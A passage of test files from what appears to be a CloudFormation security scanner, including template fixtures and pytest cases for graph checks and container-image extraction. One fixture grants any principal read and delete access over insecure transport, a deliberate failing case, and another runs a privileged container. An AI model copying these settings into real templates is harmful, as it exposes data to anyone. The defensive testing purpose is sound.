  {
    "path": "tests/cloudformation/graph/graph_runner/resources/jsonpath_policy/fail_str.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Resources\": {\n        \"fail-str\": {\n            \"Type\": \"AWS::MediaStore::Container\",\n            \"Properties\": {\n                \"ContainerName\": \"fail-str\",\n                \"Policy\": {\n                    \"Fn::Sub\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"MediaStoredenyAccess\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":[\\\"mediastore:GetObject\\\",\\\"mediastore:DeleteObject\\\",\\\"mediastore:DescribeObject\\\",\\\"mediastore:ListItems\\\"],\\\"Principal\\\":\\\"*\\\",\\\"Resource\\\":\\\"arn:aws:mediastore:${AWS::Region}:${AWS::AccountId}:container/compmediastorecontainer/*\\\",\\\"Condition\\\":{\\\"Bool\\\":{\\\"aws:SecureTransport\\\":\\\"false\\\"}}}]}\"\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/resources/jsonpath_policy/pass_str.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Resources\": {\n        \"pass-str\": {\n            \"Type\": \"AWS::MediaStore::Container\",\n            \"Properties\": {\n                \"ContainerName\": \"pass-str\",\n                \"Policy\": {\n                    \"Fn::Sub\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"MediaStoredenyAccess\\\",\\\"Effect\\\":\\\"Deny\\\",\\\"Action\\\":[\\\"mediastore:GetObject\\\",\\\"mediastore:DeleteObject\\\",\\\"mediastore:DescribeObject\\\",\\\"mediastore:ListItems\\\"],\\\"Principal\\\":\\\"*\\\",\\\"Resource\\\":\\\"arn:aws:mediastore:${AWS::Region}:${AWS::AccountId}:container/ncmediastorecontainer/*\\\",\\\"Condition\\\":{\\\"Bool\\\":{\\\"aws:SecureTransport\\\":\\\"false\\\"}}}]}\"\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/resources/template_with_parameters_names_identical_to_default_values/example.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nParameters:\n  Foo:\n    Type: String\n    Default: \"Foo\"\n  Bar:\n    Type: String\n    Default: \"Bar\"\n\nConditions:\n  Check: !And\n    - !Equals [!Ref Foo, \"Foo\"]\n    - !Equals [!Ref Bar, \"Bar\"]\n  FalseCheck: !And\n    - !Equals [!Ref Foo, \"NotFoo\"]\n    - !Equals [!Ref Bar, \"Bar\"]\n\nResources:\n  Pass:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      Family: my-ecs-task\n      NetworkMode: bridge\n      RequiresCompatibilities:\n        - FARGATE\n      Cpu: \"256\"\n      Memory: \"512\"\n      ContainerDefinitions:\n        - Name: my-container\n          Image: amazon/amazon-ecs-sample\n          Cpu: 256\n          Memory: 512\n          Essential: true\n          PortMappings:\n            - ContainerPort: 80\n              HostPort: 80\n              Protocol: tcp\n          LogConfiguration: \n            !If \n              - Check\n              - \n                LogDriver: awslogs\n                Options:\n                  awslogs-group: !Sub \"/ecs/${AWS::StackName}/my-container-logs\"\n                  awslogs-region: !Ref \"AWS::Region\"\n                  awslogs-stream-prefix: my-container\n              - !Ref AWS::NoValue\n      ExecutionRoleArn: !Sub \"arn:aws:iam::${AWS::AccountId}:role/ecsTaskExecutionRole\"\n  Fail:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      Family: my-ecs-task\n      NetworkMode: bridge\n      RequiresCompatibilities:\n        - FARGATE\n      Cpu: \"256\"\n      Memory: \"512\"\n      ContainerDefinitions:\n        - Name: my-container\n          Image: amazon/amazon-ecs-sample\n          Cpu: 256\n          Memory: 512\n          Essential: true\n          PortMappings:\n            - ContainerPort: 80\n              HostPort: 80\n              Protocol: tcp\n          LogConfiguration:\n            !If\n            - FalseCheck\n            - LogDriver: awslogs\n              Options:\n                awslogs-group: !Sub \"/ecs/${AWS::StackName}/my-container-logs\"\n                awslogs-region: !Ref \"AWS::Region\"\n                awslogs-stream-prefix: my-container\n            - !Ref AWS::NoValue\n      ExecutionRoleArn: !Sub \"arn:aws:iam::${AWS::AccountId}:role/ecsTaskExecutionRole\"\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_runner/test_running_graph_checks.py",
    "content": "import itertools\nimport os\nimport unittest\nfrom pathlib import Path\n\nimport pytest\n\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRunningGraphChecks(unittest.TestCase):\n\n    @pytest.mark.skip(\"Graph checks have not been written yet for cloudformation\")\n    def test_runner(self):\n        dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\")\n        report = Runner().run(dir_path)\n        assert any(\n            check.check_id == \"CKV2_AWS_24\" for check in itertools.chain(report.failed_checks, report.passed_checks))\n        assert any(\n            check.check_id == \"CKV2_AWS_25\" for check in itertools.chain(report.failed_checks, report.passed_checks))\n        assert any(\n            check.check_id == \"CKV2_AWS_26\" for check in itertools.chain(report.failed_checks, report.passed_checks))\n\n    @pytest.mark.skip(\"Graph checks have not been written yet for cloudformation\")\n    def test_runner_sam(self):\n        # given\n        test_dir_path = Path(__file__).parent.parent / \"graph_builder/resources/sam\"\n\n        # when\n        report = Runner().run(root_folder=str(test_dir_path), runner_filter=RunnerFilter(checks=[\"CKV2_AWS_26\"]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Serverless::Function.Function1\",\n            \"AWS::Serverless::Function.Function2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 0)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n\n    def test_jsonpath_policy(self):\n        test_dir_path = Path(__file__).parent / \"resources\" / \"jsonpath_policy\"\n        check_dir = Path(__file__).parent / \"external_graph_checks\"\n\n        test_check_registry = Registry(\n            checks_dir=f'{check_dir}',\n            parser=GraphCheckParser()\n        )\n\n        # when\n        report = Runner(external_registries=[test_check_registry]).run(root_folder=str(test_dir_path),\n                              runner_filter=RunnerFilter(checks=[\"CKV2_CFN_JSONPATH_POLICY\"]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::MediaStore::Container.pass-str\",\n        }\n\n        failing_resources = {\n            \"AWS::MediaStore::Container.fail-str\",\n            \"AWS::MediaStore::Container.fail-dict\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n    def test_complex_jsonpath_if_condition(self):\n        test_dir_path = Path(__file__).parent / \"resources\" / \"complex_jsonpath_if_condition\"\n        check_dir = Path(__file__).parent / \"external_graph_checks\"\n\n        test_check_registry = Registry(\n            checks_dir=f'{check_dir}',\n            parser=GraphCheckParser()\n        )\n\n        # when\n        report = Runner(\n            external_registries=[test_check_registry]).\\\n            run(root_folder=str(test_dir_path),\n                runner_filter=RunnerFilter(checks=[\"complex_jsonpath_if_condition\"])\n        )\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::ECS::TaskDefinition.PassingExample\",\n        }\n\n        failing_resources = {\n            \"AWS::ECS::TaskDefinition.FailingExample\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_template_with_parameters_names_identical_to_default_values(self):\n        test_dir_path = Path(__file__).parent / \"resources\" / \\\n                        \"template_with_parameters_names_identical_to_default_values\"\n        check_dir = Path(__file__).parent / \"external_graph_checks\"\n\n        test_check_registry = Registry(\n            checks_dir=f'{check_dir}',\n            parser=GraphCheckParser()\n        )\n\n        # when\n        report = Runner(\n            external_registries=[test_check_registry]).\\\n            run(root_folder=str(test_dir_path),\n                runner_filter=RunnerFilter(checks=[\"CKV2_TEST_SIMPLE\"])\n        )\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::ECS::TaskDefinition.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::ECS::TaskDefinition.Fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/image_referencer/provider/test_aws.py",
    "content": "\nfrom unittest import mock\n\nimport pytest\n\nfrom checkov.cloudformation.image_referencer.provider.aws import AwsCloudFormationProvider\nfrom checkov.common.images.image_referencer import Image\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \\\n    add_vertices_to_graph_by_graph_framework\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/ecs.yaml\",\n        \"__endline__\": 37,\n        \"__startline__\": 5,\n        \"ContainerDefinitions\": [\n            {\n                \"Name\": \"my-app\",\n                \"Image\": \"amazon/amazon-ecs-sample\",\n                \"Cpu\": 256,\n                \"EntryPoint\": [\"/usr/sbin/apache2\", \"-D\", \"FOREGROUND\"],\n                \"Memory\": 512,\n                \"Essential\": True,\n            },\n            {\n                \"Name\": \"busybox\",\n                \"Image\": \"busybox\",\n                \"Cpu\": 256,\n                \"EntryPoint\": [\"sh\", \"-c\"],\n                \"Memory\": 512,\n                \"Command\": ['/bin/sh -c \"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\"'],\n                \"Essential\": False,\n            },\n        ],\n        \"resource_type\": \"AWS::ECS::TaskDefinition\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        aws_provider = AwsCloudFormationProvider(graph_connector=graph)\n        images = aws_provider.extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(\n            file_path=\"/ecs.yaml\",\n            name=\"amazon/amazon-ecs-sample\",\n            start_line=5,\n            end_line=37,\n            related_resource_id=\"/ecs.yaml:None\",\n        ),\n        Image(file_path=\"/ecs.yaml\", name=\"busybox\", start_line=5, end_line=37, related_resource_id=\"/ecs.yaml:None\"),\n    ]\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources_with_no_image(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/ecs.yaml\",\n        \"__endline__\": 37,\n        \"__startline__\": 5,\n        \"ContainerDefinitions\": [\n            {\n                \"Name\": \"my-app\",\n                \"Cpu\": 256,\n                \"EntryPoint\": [\"/usr/sbin/apache2\", \"-D\", \"FOREGROUND\"],\n                \"Memory\": 512,\n                \"Essential\": True,\n            },\n        ],\n        \"resource_type\": \"AWS::ECS::TaskDefinition\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        aws_provider = AwsCloudFormationProvider(graph_connector=graph)\n        images = aws_provider.extract_images_from_resources()\n\n    # then\n    assert not images\n\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/resources/aws/apprunner.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\n\nResources:\n  AppRunner:\n    Type: AWS::AppRunner::Service\n    Properties:\n      ServiceName: hello-app-runner\n      SourceConfiguration:\n        AuthenticationConfiguration:\n          AccessRoleArn: \"arn:aws:iam::123456789012:role/my-ecr-role\"\n        AutoDeploymentsEnabled: true\n        ImageRepository:\n          ImageIdentifier: \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n          ImageRepositoryType: ECR_PUBLIC\n          ImageConfiguration:\n            Port: 8080\n      InstanceConfiguration:\n        Cpu: 1 vCPU\n        Memory: 3 GB\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/resources/aws/batch.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\n\nResources:\n  Batch:\n    Type: AWS::Batch::JobDefinition\n    Properties:\n      Type: container\n      JobDefinitionName: nvidia-smi\n      ContainerProperties:\n        MountPoints:\n          - ReadOnly: false\n            SourceVolume: nvidia\n            ContainerPath: /usr/local/nvidia\n        Volumes:\n          - Host:\n              SourcePath: /var/lib/nvidia-docker/volumes/nvidia_driver/latest\n            Name: nvidia\n        Command:\n          - nvidia-smi\n        Memory: 2000\n        Privileged: true\n        JobRoleArn: String\n        ReadonlyRootFilesystem: true\n        Vcpus: 2\n        Image: nvidia/cuda\n\n  BatchMultiNode:\n    Type: AWS::Batch::JobDefinition\n    Properties:\n      Type: multinode\n      JobDefinitionName: tensorflow_mnist_deep\n      NodeProperties:\n        MainNode: 0\n        NumNodes: 2\n        NodeRangeProperties:\n          - TargetNodes: '0:1'\n            Container:\n              Image: tensorflow/tensorflow:2.10.0-gpu\n              ResourceRequirements:\n                - Type: MEMORY\n                  Value: 32000\n                - Type: VCPU\n                  Value: 8\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/resources/aws/codebuild.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\n\nResources:\n  CodeBuild:\n    Type: AWS::CodeBuild::Project\n    Properties:\n      Name: myProjectName\n      Description: A description about my project\n      ServiceRole: !GetAtt ServiceRole.Arn\n      Artifacts:\n        Type: no_artifacts\n      Environment:\n        Type: LINUX_CONTAINER\n        ComputeType: BUILD_GENERAL1_SMALL\n        Image: public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:3.0\n      TimeoutInMinutes: 10\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/resources/aws/ecs.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\n\nResources:\n  Ecs:\n    Type: AWS::ECS::TaskDefinition\n    Properties:\n      RequiresCompatibilities:\n        - \"EC2\"\n      ContainerDefinitions:\n        - Name: \"my-app\"\n          MountPoints:\n            - SourceVolume: \"my-vol\"\n              ContainerPath: \"/var/www/my-vol\"\n          Image: \"amazon/amazon-ecs-sample\"\n          Cpu: 256\n          EntryPoint:\n            - \"/usr/sbin/apache2\"\n            - \"-D\"\n            - \"FOREGROUND\"\n          Memory: 512\n          Essential: true\n        - Name: \"busybox\"\n          Image: \"busybox\"\n          Cpu: 256\n          EntryPoint:\n            - \"sh\"\n            - \"-c\"\n          Memory: 512\n          Command:\n            - \"/bin/sh -c \\\"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\\\"\"\n          Essential: false\n          DependsOn:\n            - ContainerName: my-app\n              Condition: START\n          VolumesFrom:\n            - SourceContainer: \"my-app\"\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/resources/aws/lightsail.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\n\nResources:\n  Lightsail:\n    Type: AWS::Lightsail::Container\n    Properties:\n      ContainerServiceDeployment:\n        Containers:\n          - Image: nginx:latest\n      Power: small\n      Scale: 1\n      ServiceName: lightsail\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/resources/aws/sagemaker_image_version.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MySageMakerImageVersion:\n    Type: AWS::SageMaker::ImageVersion\n    Properties:\n      Alias: \"latest\"\n      Aliases:\n        - \"stable\"\n        - \"recommended\"\n      BaseImage: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-base-image:1.0.0\"\n      Horovod: false\n      ImageName: \"my-sagemaker-image\"\n      JobType: \"TRAINING\"\n      MLFramework: \"TensorFlow\"\n      Processor: \"CPU\"\n      ProgrammingLang: \"Python\"\n      ReleaseNotes: \"Initial release of the custom SageMaker image version.\"\n      VendorGuidance: \"NOT_PROVIDED\"\n  SageMakerImage:\n    Type: AWS::SageMaker::Image\n    Properties:\n      ImageName: \"my-sagemaker-image\"\n      RoleArn: \"arn:aws:iam::123456789012:role/SageMakerRole\"\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/resources/aws/sagemaker_model.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MySageMakerModel:\n    Type: AWS::SageMaker::Model\n    Properties:\n      ModelName: \"my-single-container-model\"\n      ExecutionRoleArn: \"arn:aws:iam::123456789012:role/SageMakerRole\"\n      PrimaryContainer:\n        Image: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image:latest\"\n        ModelDataUrl: \"s3://my-bucket/path/to/model.tar.gz\"\n        Environment:\n          VAR1: \"value1\"\n          VAR2: \"value2\"\n      EnableNetworkIsolation: true\n      VpcConfig:\n        Subnets:\n          - \"subnet-0123456789abcdef0\"\n          - \"subnet-0123456789abcdef1\"\n        SecurityGroupIds:\n          - \"sg-0123456789abcdef0\"\n  MySageMakerModel2:\n    Type: AWS::SageMaker::Model\n    Properties:\n      ModelName: \"my-multi-container-model\"\n      ExecutionRoleArn: \"arn:aws:iam::123456789012:role/SageMakerRole\"\n      Containers:\n        - Image: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-1:latest\"\n          ModelDataUrl: \"s3://my-bucket/path/to/model-1.tar.gz\"\n          Environment:\n            VAR1: \"value1\"\n            VAR2: \"value2\"\n        - Image: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-2:latest\"\n          ModelDataUrl: \"s3://my-bucket/path/to/model-2.tar.gz\"\n          Environment:\n            VAR3: \"value3\"\n            VAR4: \"value4\"\n      InferenceExecutionConfig:\n        Mode: \"Serial\"\n      EnableNetworkIsolation: true\n      VpcConfig:\n        Subnets:\n          - \"subnet-0123456789abcdef0\"\n          - \"subnet-0123456789abcdef1\"\n        SecurityGroupIds:\n          - \"sg-0123456789abcdef0\"\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/test_manager.py",
    "content": "from unittest import mock\n\nimport pytest\n\nfrom checkov.cloudformation.image_referencer.manager import CloudFormationImageReferencerManager\nfrom checkov.common.images.image_referencer import Image\nfrom tests.graph_utils.utils import set_graph_by_graph_framework, add_vertices_to_graph_by_graph_framework, \\\n    GRAPH_FRAMEWORKS\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    aws_resource = {\n        \"file_path_\": \"/ecs.yaml\",\n        \"__endline__\": 37,\n        \"__startline__\": 5,\n        \"ContainerDefinitions\": [\n            {\n                \"Name\": \"my-app\",\n                \"Image\": \"amazon/amazon-ecs-sample\",\n                \"Cpu\": 256,\n                \"EntryPoint\": [\"/usr/sbin/apache2\", \"-D\", \"FOREGROUND\"],\n                \"Memory\": 512,\n                \"Essential\": True,\n                \"__startline__\": 10,\n                \"__endline__\": 22,\n            },\n        ],\n        \"resource_type\": \"AWS::ECS::TaskDefinition\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, aws_resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        images = CloudFormationImageReferencerManager(graph_connector=graph).extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(file_path=\"/ecs.yaml\", name=\"amazon/amazon-ecs-sample\", start_line=5, end_line=37,\n              related_resource_id=\"/ecs.yaml:None\"),\n    ]\n\n"
  },
  {
    "path": "tests/cloudformation/image_referencer/test_runner_aws_resources.py",
    "content": "from pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.cloudformation.runner import Runner\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_PATH = Path(__file__).parent / \"resources/aws\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_apprunner_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"apprunner.yaml\"\n    image_name = \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n    code_lines = \"5-20\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert (\n        sca_image_report.image_cached_results[0][\"dockerImageName\"]\n        == \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n    )\n    assert (\n        \"cloudformation/image_referencer/resources/aws/apprunner.yaml:AWS::AppRunner::Service.AppRunner\"\n        in sca_image_report.image_cached_results[0][\"relatedResourceId\"]\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n\n    assert len(sca_image_report.passed_checks) == 1\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.image_cached_results) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_batch_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"batch.yaml\"\n    image_name_1 = \"nvidia/cuda\"\n    image_name_2 = \"tensorflow/tensorflow:2.10.0-gpu\"\n    code_lines_1 = \"5-27\"\n    code_lines_2 = \"28-44\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_codebuild_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"codebuild.yaml\"\n    image_name = \"public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:3.0\"\n    code_lines = \"5-17\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 1\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_ecs_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"ecs.yaml\"\n    image_name_1 = \"amazon/amazon-ecs-sample\"\n    image_name_2 = \"busybox\"\n    code_lines_1 = \"5-37\"\n    code_lines_2 = \"5-37\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 1\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_lightsail_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"lightsail.yaml\"\n    image_name = \"nginx:latest\"\n    code_lines = \"5-13\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        